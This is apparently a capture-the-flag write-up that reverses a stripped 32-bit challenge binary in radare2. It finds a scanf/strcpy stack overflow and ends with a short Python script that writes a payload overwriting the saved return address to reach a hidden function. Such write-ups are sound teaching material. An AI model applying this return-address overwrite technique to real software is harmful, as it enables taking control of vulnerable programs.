Blkhurst

February 15 2022

Reverse & Explore

Stage 2 Area 5

We are given a stripped executable along with the hint: "Reverse and explore this binary. What input would cause an overflow?".

The program presents five options, but only one of them accepts user input: [3] Unlock panel. To investigate, we must explore the assembly to see if this input is vulnerable, and what information we can overwrite.

Disassembling a stripped binary

Running file gives us a lot of useful information:

file ./2_5
./2_5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cf1642a58727dd00f2718198e93290ea96a699cd, stripped

With no symbols, we must first find main, and give all functions meaningful names. A stripped ELF still has an entry point, which we can identify in radare2 using ie. From there, we simply find the argument passed to __libc_start_main, that's the address of main.

ie            # Find entrypoint
s 0x<address> # Seek to main
af main       # Analyse and name
afl           # List discoverable functions
pdf           # View disassembly
              # Rename stripped symbols
afn print_ascii @ fcn.0804862f
afn print_menu @ fcn.080486a1
afn option_1 @ fcn.08048725
afn option_2 @ fcn.08048797
afn option_3 @ fcn.080488b9
afn option_4 @ fcn.080487d3
afn option_5 @ fcn.0804898b

Exploring the assembly

I started by skimming each function to understand what actually mattered.

main simply switches between the menu options. There's a hidden input 1337 which outputs "That's one small step for a man, one giant leap for mankind.", and the other normal options are just wrappers around puts calls. That leaves two interesting paths: option 3 (the only input) and option 5 (supposed to exit).

Option 3 - Unlock panel

This function reads user input into a stack buffer via scanf, then checks the first 10 bytes against an expected prefix. By converting the hex bytes used in the comparisons to ASCII, we recover the required key: 1Jor2TrEST. If the prefix matches, the program copies the input using strcpy.

This combination is exactly what enables the overflow, scanf("%s", ...) can overflow when no maximum width is specified, and strcpy then copies into a destination buffer without bounds checking.

The question now becomes, where are we meant to redirect execution to?

Option 5 - "Exit"

This function is called when the user selects [5] Quit, but it contains the red herring I noticed earlier when searching for strings in the binary: Unlock_Code=2lsdl2Jwsdj. It then calls sym.imp.exit - but the function doesn’t end there.

After the exit call there’s a large block of extra assembly that starts with what looks like another function prologue, followed by a loop that XORs bytes and prints them.

That strongly suggests there’s a hidden function embedded after the exit call at 0x080489d2, and the intended solution is to use the overflow in option 3 to redirect execution into it.

181: option_5 ();
0x0804898b      55             push ebp
0x0804898c      89e5           mov ebp, esp
0x0804898e      53             push ebx
0x0804898f      83ec24         sub esp, 0x24
0x08048992      e8a9000000     call fcn.08048a40
0x08048997      0569260000     add eax, 0x2669
0x0804899c      c745e0556e6c.  mov dword [var_20h], 0x6f6c6e55 ; 'Unlo'
0x080489a3      c745e4636b5f.  mov dword [var_1ch], 0x435f6b63 ; 'ck_C'
0x080489aa      c745e86f6465.  mov dword [var_18h], 0x3d65646f ; 'ode='
0x080489b1      c745ec326c73.  mov dword [var_14h], 0x64736c32 ; '2lsd'
0x080489b8      c745f06c324a.  mov dword [var_10h], 0x774a326c ; 'l2Jw'
0x080489bf      c745f473646a.  mov dword [var_ch], 0x6a6473 ; 'sdj'
0x080489c6      83ec0c         sub esp, 0xc
0x080489c9      6a01           push 1                      ; 1
0x080489cb      89c3           mov ebx, eax
0x080489cd      e80efaffff     call sym.imp.exit
0x080489d2      55             push ebp
0x080489d3      89e5           mov ebp, esp
0x080489d5      57             push edi
0x080489d6      56             push esi
0x080489d7      53             push ebx
0x080489d8      81ec1c010000   sub esp, 0x11c
...

Bypassing sym.imp.exit

Before trying to reach the hidden function via an overflow, I wanted to confirm what the code after sym.imp.exit actually did.

The quickest way is to bypass the sym.imp.exit call (either by stepping over it in a debugger, or by overriding exit() with LD_PRELOAD). When the function continues past 0x080489cd, it prints:

You've ran the hidden function, well done!
The flag needs to be submitted in a certain format.
Hex encode the input you used to get here.
Replace any padding with xPD
So the flag format will look like:
x00x00x00x00x00x00x00x00x00x00xPDxPDxPDxPDx00x00x00x00

So the "flag" for this challenge is actually the overflow payload we use to redirect execution into this hidden code.

Stack recap - overflow intuition

On x86, the stack grows downwards (towards smaller addresses). Each function call builds a stack frame containing information the program needs to run and return correctly - saved register values (including the return address) and local variables.

Key registers

What the function prologue does

A call pushes the return address (the next eip) onto the stack so it knows where to continue execution once the function is complete. Most functions then run a prologue that saves the previous base pointer ebp and sets up a new one:

call option_3   ; push eip (return address)
push ebp        ; save caller's base pointer
mov  ebp, esp   ; start a new stack frame
sub  esp, 0x74  ; reserve space for local variables

After this, the stack layout becomes:

higher addresses (0xFFFFFFFF)
[ebp+0x4]  saved old eip (return address)
[ebp+0x0]  saved old ebp
[ebp-...]  local variables / buffers
lower addresses

Note that 64-bit platforms would use 8-byte addresses (qwords).

Applying to this challenge

The screenshot above shows execution just after entering option_3. The destination buffer used by strcpy is var_12h @ ebp-0x12, and the saved return address (currently returning to main) is stored at ebp+0x4 (0x080485e0).

We can compute the number of bytes required to begin overwriting the return address:

(ebp+0x4) - (ebp-0x12) = 0x16 = 22 bytes

The required unlock key 1Jor2TrEST is 10 bytes, meaning 12 bytes of padding is required before the overwrite.

Crafting the input

With the information gathered, we can now craft the input that will overflow and overwrite the saved eip to redirect execution into the hidden function. Since the payload contains raw bytes, we write the payload to a file before piping it into the program.

Payload layout

Payload creation

import struct
 
opt = b"3\n"
key = b"1Jor2TrEST"
pad = b"A" * 12
ret = struct.pack("<I", 0x080489d2)  # little-endian dword
 
payload = opt + key + pad + ret
 
with open("payload.bin", "wb") as f:
    f.write(payload)
 
# Flag format: hex encode the overflow input (key+pad+ret), and replace padding bytes with xPD.
flag = "".join(f"x{b:02x}" for b in (key + pad + ret)).replace("x41", "xPD")
print("Flag:", flag)

Piping the payload into the program triggers the vulnerable input in [3] Unlock panel. When option_3 returns, the overwritten return address redirects execution into the hidden function at 0x080489d2, producing the same "well done" message - this time via a buffer overflow:

cat payload.bin | ./2_5